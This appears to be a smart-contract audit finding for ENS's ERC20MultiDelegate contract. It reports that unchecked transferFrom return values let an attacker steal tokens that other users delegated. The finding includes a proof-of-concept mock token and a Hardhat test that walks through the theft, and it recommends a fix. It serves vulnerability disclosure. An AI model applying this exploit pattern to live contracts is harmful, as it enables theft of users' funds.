ENS - jnforja's results

Lines of code

https://github.com/code-423n4/2023-10-ens/blob/ed25379c06e42c8218eb1e80e141412496950685/contracts/ERC20MultiDelegate.sol#L160

Vulnerability details

Impact

ERC20MultiDelegate is expected to work with any ERC20-compliant tokens as long as they provide the same functionality and interface as ERC20Votes from OpenZeppelin. This makes it possible for ERC20MultiDelegate to work with a token that signals token.transferFrom failure by returning false instead of reverting, as the ERC-20 standard doesn't require token.transferFrom to throw in every case of failure.

In a situation a user A has in the past delegated tokens to user B and the method token.transferFrom is failing and returning false, e.g the functionality is paused, an attacker can delegate tokens he doesn't have to user B and then later, when token.transferFrom is back up, call delegateMulti([userB], [], amountDelegatedByUserA) to reimburse the tokens from user B and steal the tokens delegated by user A.

Proof of Concept

Add the following code to ENSToken.sol so it's easy to mock a situation token.transferFrom fails

bool public canTransferFrom = true;

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        if (canTransferFrom) {
            return ERC20.transferFrom(from, to, amount);
        }
        return false;
    }

    function setCanTransferFrom(bool _canTransferFrom) public {
        canTransferFrom = _canTransferFrom;
    }

Add the it block below to test/delegatemulti.js inside the describe block "ENS Multi Delegate"

describe("ENS Multi Delegate", () => {
...
it.only("token.transferFrom signaling failure by returning false allows for funds to be stolen", async () => {
      const [_, attacker] = await ethers.getSigners();

      const delegatorTokenAmount = await token.balanceOf(deployer);
      await token.approve(multiDelegate.address, delegatorTokenAmount);

      const delegates = [bob];
      const amounts = [delegatorTokenAmount];

      await multiDelegate.delegateMulti([], delegates, amounts);

      expect(await token.balanceOf(deployer)).to.eq(0);
      expect(await multiDelegate.balanceOf(deployer, delegates[0])).to.eq(
        amounts[0]
      );

      //Method added for POC
      //IRL token's functionalities might have been paused or something else that caused transferFrom to fail.
      token.setCanTransferFrom(false);

      expect(await token.balanceOf(attacker.address)).to.eq(0);
      //Since transferFrom will fail this won't revert
      await multiDelegate
        .connect(attacker)
        .delegateMulti([], delegates, amounts);
      expect(
        await multiDelegate.balanceOf(attacker.address, delegates[0])
      ).to.eq(amounts[0]);

      token.setCanTransferFrom(true);
      await multiDelegate
        .connect(attacker)
        .delegateMulti(delegates, [], amounts);
      expect(await token.balanceOf(attacker.address)).to.eq(
        delegatorTokenAmount
      );
    });
...
})

Tools Used

Manual Review

Recommended Mitigation Steps

Check token.transferFrom return value and revert if it's false.

Assessed type

ERC20